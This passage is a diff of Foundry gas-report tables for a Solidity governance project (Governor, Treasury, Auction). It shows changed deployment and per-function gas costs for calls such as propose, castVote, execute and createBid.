2341 ┆ 2 │ +│ treasury ┆ 352 ┆ 1352 ┆ 1352 ┆ 2352 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ unpause ┆ 2408 ┆ 374521 ┆ 389513 ┆ 389513 ┆ 45 │ +│ unpause ┆ 2408 ┆ 374177 ┆ 389161 ┆ 389161 ┆ 45 │ ╰───────────────────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯ ╭────────────────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮ │ src/governance/governor/Governor.sol:Governor contract ┆ ┆ ┆ ┆ ┆ │ ╞════════════════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 4045061 ┆ 20520 ┆ ┆ ┆ ┆ │ +│ 3930109 ┆ 19946 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -142,15 +155,15 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ VOTE_TYPEHASH ┆ 296 ┆ 296 ┆ 296 ┆ 296 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ cancel ┆ 1214 ┆ 7608 ┆ 8414 ┆ 13799 ┆ 5 │ +│ cancel ┆ 1214 ┆ 7267 ┆ 7964 ┆ 13237 ┆ 5 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ castVote ┆ 1382 ┆ 27133 ┆ 29300 ┆ 30820 ┆ 37 │ +│ castVote ┆ 1382 ┆ 27014 ┆ 29171 ┆ 30691 ┆ 37 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ castVoteBySig ┆ 594 ┆ 26061 ┆ 24899 ┆ 53855 ┆ 4 │ +│ castVoteBySig ┆ 594 ┆ 26029 ┆ 24899 ┆ 53726 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ execute(address[],uint256[],bytes[],bytes32) ┆ 17537 ┆ 17537 ┆ 17537 ┆ 17537 ┆ 3 │ +│ execute(address[],uint256[],bytes[],bytes32) ┆ 17310 ┆ 17310 ┆ 17310 ┆ 17310 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ execute(address[],uint256[],bytes[],bytes32)(bytes32) ┆ 20258 ┆ 20272 ┆ 20272 ┆ 20286 ┆ 2 │ +│ execute(address[],uint256[],bytes[],bytes32)(bytes32) ┆ 17310 ┆ 19196 ┆ 20125 ┆ 20153 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ getProposal ┆ 1924 ┆ 1924 ┆ 1924 ┆ 1924 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -174,9 +187,9 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ proposalThresholdBps ┆ 410 ┆ 410 ┆ 410 ┆ 410 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ proposalVotes ┆ 1149 ┆ 1149 ┆ 1149 ┆ 1149 ┆ 3 │ +│ proposalVotes ┆ 737 ┆ 737 ┆ 737 ┆ 737 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ propose ┆ 8813 ┆ 61039 ┆ 69284 ┆ 79791 ┆ 31 │ +│ propose ┆ 7477 ┆ 59699 ┆ 67943 ┆ 78450 ┆ 31 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ queue ┆ 1334 ┆ 23753 ┆ 31192 ┆ 40192 ┆ 10 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -205,7 +218,7 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ╞════════════════════════════════════════════════════════╪═════════════════╪═══════╪════════╪═══════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 1883434 ┆ 9725 ┆ ┆ ┆ ┆ │ +│ 1880027 ┆ 9708 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -213,9 +226,9 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ delay ┆ 355 ┆ 577 ┆ 355 ┆ 2355 ┆ 9 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ execute(address[],uint256[],bytes[],bytes32) ┆ 8885 ┆ 8885 ┆ 8885 ┆ 8885 ┆ 3 │ +│ execute(address[],uint256[],bytes[],bytes32) ┆ 8662 ┆ 8662 ┆ 8662 ┆ 8662 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ execute(address[],uint256[],bytes[],bytes32)(bytes32) ┆ 11531 ┆ 11545 ┆ 11545 ┆ 11559 ┆ 2 │ +│ execute(address[],uint256[],bytes[],bytes32)(bytes32) ┆ 8662 ┆ 10498 ┆ 11402 ┆ 11430 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ fallback ┆ 55 ┆ 55 ┆ 55 ┆ 55 ┆ 25 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -258,31 +271,31 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ VOTE_TYPEHASH ┆ 679 ┆ 679 ┆ 679 ┆ 679 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ auction()(address) ┆ 758 ┆ 1135 ┆ 1198 ┆ 1198 ┆ 14 │ +│ auction()(address) ┆ 758 ┆ 1134 ┆ 1192 ┆ 1192 ┆ 15 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ auction()(uint256,uint256,address,uint40,uint40,bool) ┆ 1198 ┆ 1198 ┆ 1198 ┆ 1198 ┆ 23 │ +│ auction()(uint40,uint40,bool,address,uint256,uint256) ┆ 1192 ┆ 1192 ┆ 1192 ┆ 1192 ┆ 22 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ balanceOf ┆ 1001 ┆ 1001 ┆ 1001 ┆ 1001 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ burn ┆ 883 ┆ 12715 ┆ 12715 ┆ 24548 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ cancel ┆ 1601 ┆ 6948 ┆ 6668 ┆ 14182 ┆ 6 │ +│ cancel ┆ 1601 ┆ 6663 ┆ 6269 ┆ 13620 ┆ 6 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ castVote ┆ 1772 ┆ 27522 ┆ 29689 ┆ 31209 ┆ 37 │ +│ castVote ┆ 1772 ┆ 27403 ┆ 29560 ┆ 31080 ┆ 37 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ castVoteBySig ┆ 1014 ┆ 26481 ┆ 25319 ┆ 54274 ┆ 4 │ +│ castVoteBySig ┆ 1014 ┆ 26449 ┆ 25319 ┆ 54145 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ createBid ┆ 4504 ┆ 16244 ┆ 11477 ┆ 28405 ┆ 71 │ +│ createBid ┆ 4391 ┆ 16172 ┆ 11480 ┆ 28330 ┆ 71 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ delay ┆ 738 ┆ 960 ┆ 738 ┆ 2738 ┆ 9 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ deploy ┆ 6147 ┆ 1919053 ┆ 1629729 ┆ 7538521 ┆ 73 │ +│ deploy ┆ 6147 ┆ 1919017 ┆ 1629692 ┆ 7538484 ┆ 73 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ duration ┆ 717 ┆ 717 ┆ 717 ┆ 717 ┆ 5 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ execute(address[],uint256[],bytes[],bytes32) ┆ 9242 ┆ 13569 ┆ 13569 ┆ 17896 ┆ 6 │ +│ execute(address[],uint256[],bytes[],bytes32) ┆ 9019 ┆ 13344 ┆ 13344 ┆ 17669 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ execute(address[],uint256[],bytes[],bytes32)(bytes32) ┆ 11892 ┆ 16271 ┆ 16271 ┆ 20650 ┆ 4 │ +│ execute(address[],uint256[],bytes[],bytes32)(bytes32) ┆ 9019 ┆ 15208 ┆ 14730 ┆ 20517 ┆ 6 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ fallback ┆ 4942 ┆ 4942 ┆ 4942 ┆ 4942 ┆ 25 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -304,13 +317,13 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ initialize((address,uint256,uint256)[],bytes,address,address) ┆ 237618 ┆ 540410 ┆ 237618 ┆ 6086313 ┆ 72 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ initialize(address,address,address,uint256,uint256) ┆ 7966 ┆ 125317 ┆ 118103 ┆ 138003 ┆ 73 │ +│ initialize(address,address,address,uint256,uint256) ┆ 7966 ┆ 125300 ┆ 118086 ┆ 137986 ┆ 73 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ initialize(address,address,address,uint256,uint256,uint256,uint256) ┆ 8026 ┆ 184319 ┆ 186768 ┆ 186768 ┆ 73 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ initialize(address,uint256) ┆ 7706 ┆ 49651 ┆ 50234 ┆ 50234 ┆ 73 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ initialize(bytes,address,address,address) ┆ 207975 ┆ 207975 ┆ 207975 ┆ 207975 ┆ 72 │ +│ initialize(bytes,address,address,address) ┆ 207955 ┆ 207955 ┆ 207955 